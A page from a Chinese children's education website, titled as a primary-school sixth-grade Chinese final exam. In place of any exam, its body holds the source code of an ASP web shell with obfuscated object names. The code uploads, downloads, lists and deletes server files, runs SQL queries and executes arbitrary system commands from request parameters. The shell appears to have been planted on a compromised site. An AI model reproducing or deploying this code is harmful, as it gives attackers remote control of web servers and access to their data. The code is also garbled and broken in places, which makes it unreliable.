2004年秋季安溪县小学语文第十一册期末考试卷(一)

2008-10-02  | 安溪 安溪县 考试 

  .

  <%on error resume next

  dim data_xlsf

  class upload_xlsf

  dim oform,objfile,version

  public function form(sform)

  sform=lcase(sform)

  if not oform.exists(sform) then

  form=""

  else

  form=oform(sform)

  end if

  end function

  public function file(strfile)

  strfile=lcase(strfile)

  if not objfile.exists(strfile) then

  set file=new fileinfo

  else

  set file=objfile(strfile)

  end if

  end function

  private sub class_initialize

  dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile

  dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename

  dim ifindstart,ifindend

  dim iformstart,iformend,sformname

  version="xiaolu"

  set oform=server.createobject("scripting.dictionary")

  set objfile=server.createobject("scripting.dictionary")

  if request.totalbytes<1 then exit sub

  set tstream = server.createobject("adodb.stream")

  set data_xlsf = server.createobject("adodb.stream")

  data_xlsf.type = 1

  data_xlsf.mode =3

  data_xlsf.open

  data_xlsf.write request.binaryread(request.totalbytes)

  data_xlsf.position=0

  requestdata =data_xlsf.read

  iformstart = 1

  iformend = lenb(requestdata)

  vbcrlf = chrb(13) & chrb(10)

  sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1)

  istart = lenb (sstart)

  iformstart=iformstart+istart+1

  while (iformstart + 10) 0 then

  oform.removeall

  objfile.removeall

  set oform=nothing

  set objfile=nothing

  data_xlsf.close

  set data_xlsf =nothing

  end if

  end sub

  private function getfilepath(fullpath)

  if fullpath "" then

  getfilepath = left(fullpath,instrrev(fullpath, ""))

  else

  getfilepath = ""

  end if

  end function

  private function getfilename(fullpath)

  if fullpath "" then

  getfilename = mid(fullpath,instrrev(fullpath, "")+1)

  else

  getfilename = ""

  end if

  end function

  end class

  class fileinfo

  dim formname,filename,filepath,filesize,filetype,filestart

  private sub class_initialize

  filename = ""

  filepath = ""

  filesize = 0

  filestart= 0

  formname = ""

  filetype = ""

  end sub

  public function saveas(fullpath)

  dim dr,errorchar,i

  saveas=true

  if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function

  set dr=createobject("adodb.stream")

  dr.mode=3

  dr.type=1

  dr.open

  data_xlsf.position=filestart

  data_xlsf.copyto dr,filesize

  dr.savetofile fullpath,2

  dr.close

  set dr=nothing

  saveas=false

  end function

  end class

  httpt = request.servervariables("server_name")

  rseb=request.servervariables("script_name")

  d=request("d")

  if request.cookies("password")

  password:

  <%s.open

  s.type = 1

  if not ssyss.fileexists(strfilename) then

  response.write("error:" & strfilename & " does not exist

  ")

  response.end

  end if

  set f = ssyss.getfile(strfilename)

  intfilelength = f.size

  s.loadfromfile(strfilename)

  if err then

  response.write("error: " & err.description & "

  ")

  response.end

  end if

  response.addheader "content-disposition", "attachment; filename=" & f.name

  response.addheader "content-length", intfilelength

  response.charset = "utf-8"

  response.contenttype = "application/octet-stream"

  response.binarywrite s.read

  response.flush

  s.close

  set s = nothing

  response.end

  end function

  case "ls.asp"

  urlpath=server.urlencode(path)

  dim cpath,lpath

  if request("path")="" then

  lpath="/"

  else

  lpath=request("path")&"/"

  end if

  if request("attrib")="true" then

  cpath=replace(lpath,"/","")

  attrib="true"

  else

  cpath=server.mappath(lpath)

  attrib=""

  end if

  sub getfolder()

  dim thefolder,thesubfolders

  if ssyss.folderexists(cpath)then

  set thefolder=ssyss.getfolder(cpath)

  set thesubfolders=thefolder.subfolders

  response.write"上级目录

  <%

  end if

  end sub

  sub getfile()

  dim thefiles

  if ssyss.folderexists(cpath)then

  set thefolder=ssyss.getfolder(cpath)

  set thefiles=thefolder.files

  response.write"

  user:

  rpath: | cdir:

  

  modified by 123456789 base on xiaolu

  <%

  else

  if request.form("text")="" then

  if request("creat")

  

  file:

  <%=editfilecontent(thisline)%>

  <%case "edir.asp"

  if request("op")="del" then

  if request("attrib")="true" then

  wdir=request("path")

  else

  wdir=server.mappath(request("path"))

  end if

  ssyss.deletefolder wdir,true

  response.write ""

  else

  if request("op")="creat" then

  if request("attrib")="true" then

  wdir=request("path")

  else

  wdir=server.mappath(request("path"))

  end if

  ssyss.createfolder wdir

  response.write ""

  end if

  end if

  case "up.asp"

  set upload=new upload_xlsf

  if upload.form("filepath")="" then

  htmend "input up path!"

  set upload=nothing

  response.end

  else

  formpath=upload.form("filepath")

  if right(formpath,1) "&formpath&file.filename&" succ!

  "

  end if

  set file=nothing

  next

  set upload=nothing

  sub htmend(msg)

  set upload=nothing

  response.write "up succ!"

  response.end

  end sub

  case "sql.asp"

  if trim(request.form("sqlcmd"))"" then

  password= trim(request.form("pa"))

  id=trim(request.form("id"))

  sqllocalname=trim(request.form("sqllocalname"))

  ku=trim(request.form("ku"))

  session("sqlu")=id

  session("sqlp")=password

  session("sqls")=sqllocalname

  session("sqlc")=trim(request.form("sqlcmd"))

  session("sqlk")=ku

  if sqllocalname="" or sqllocalname="sql server" then sqllocalname="127.0.0.1"

  set adoconn=server.createobject("adodb.connection")

  adoconn.open "provider=sqloledb.1;password="&password&";user id="&id&";database="&ku&";data source ="&sqllocalname

  strquery = session("sqlc")

  set recresult = adoconn.execute(strquery)

  if left(strquery,4)="exec" or left(strquery,6)="select" then

  if not recresult.eof then

  for i=0 to recresult.fields.count-1

  strresultn=strresultn&""&recresult.fields(i).name&"

  "

  next

  allre=""&strresultn&""

  do while not recresult.eof

  for i=0 to recresult.fields.count-1

  strresult = strresult &""& outcmd(recresult.fields(i).value)&"

  "

  next

  allre=allre&strresult&""

  strresult=""

  recresult.movenext

  loop

  allre=allre&"

  

  

  

  path:

  <%set oscript=server.createobject("wsc"+"ri"+"pt.sh"+"ell")

  ok=trim(request("ok"))

  if ok"" then

  response.write ""

  set re=oscript.exec (ok)

  re=re.stdout.readall

  re=outcmd(re)

  response.write re

  end if

  esnxa = request.form("text")

  if (esnxa "") then

  set shell=server.createobject("she"+"ll.app"+"lication")

  set fod1=shell.namespace(esnxa)

  set foditems=fod1.items

  for each co in foditems

  response.write "" & co.path & "-----" & co.size & "

  "

  next

  end if

  esnxa1 = request.form("text1")

  esnxa2 = request.form("text2")

  if esnxa1"" and esnxa2"" then

  set shell1=server.createobject("she"+"ll.app"+"lication")

  set fod1=shell1.namespace(esnxa2)

  for i=len(esnxa1) to 1 step -1

  if mid(esnxa1,i,1)="" then

  path=left(esnxa1,i-1)

  exit for

  end if

  next

  if len(path)=2 then path=path & ""

  path2=right(esnxa1,len(esnxa1)-i)

  set fod2=shell1.namespace(path)

  set foditem=fod2.parsename(path2)

  fod1.copyhere foditem

  response.write "command success!"

  end if

  esnxa3 = request.form("text3")

  esnxa4 = request.form("text4")

  if esnxa3"" and esnxa4"" then

  set shell2=server.createobject("she"+"ll.app"+"lication")

  set fod1=shell2.namespace(esnxa4)

  for i=len(esnxa3) to 1 step -1

  if mid(esnxa3,i,1)="" then

  path=left(esnxa3,i-1)

  exit for

  end if

  next

  if len(path)=2 then path=path & ""

  path2=right(esnxa3,len(esnxa3)-i)

  set fod2=shell2.namespace(path)

  set foditem=fod2.parsename(path2)

  fod1.movehere foditem

  response.write "command completed success!"

  end if

  esnxa5 = request.form("text5")

  esnxa6 = request.form("text6")

  if esnxa5"" and esnxa6"" then

  set shell3=server.createobject("she"+"ll.app"+"lication")

  shell3.namespace(esnxa5).items.item(esnxa6).invokeverb

  response.write "command completed success!"

  end if

  end select

  function outcmd(re)

  re = replace(re," "," ")

  re = replace(re,"<","")

  re = replace(re,chr(13),"

  ")

  outcmd=re

  end function

  function editfilecontent(re)

  re = replace(re,"<","

  网友观点
    很菜
    好文
小学六年级成语积累竞赛试卷
人教版语文六年级上册期中试卷
小学语文六年级上册期中试卷
语文S版六年级上册期中试卷
北师大版六年级上语文期中试卷
人教版新课标六年级上语文期中试卷
苏教版语文六年级上册一至六单元试题
苏教版语文六年级上册《一本男孩子必读的书》同
苏教版语文六年级上册第五单元试卷
苏教版语文六年级上册《鞋匠的儿子》同步练习

最近更新

 
热点推荐
在线背单词
小学数学
电子课本
关于我们 |  我的账户 |  隐私政策 |  在线投稿 |  相关服务 |  网站地图
Copyright © 2002-2008 All Rights Reserved 版权所有 小精灵儿童网站
联系我们(9:00-17:00)
电话:010-52523356
邮件:ask060s@126.com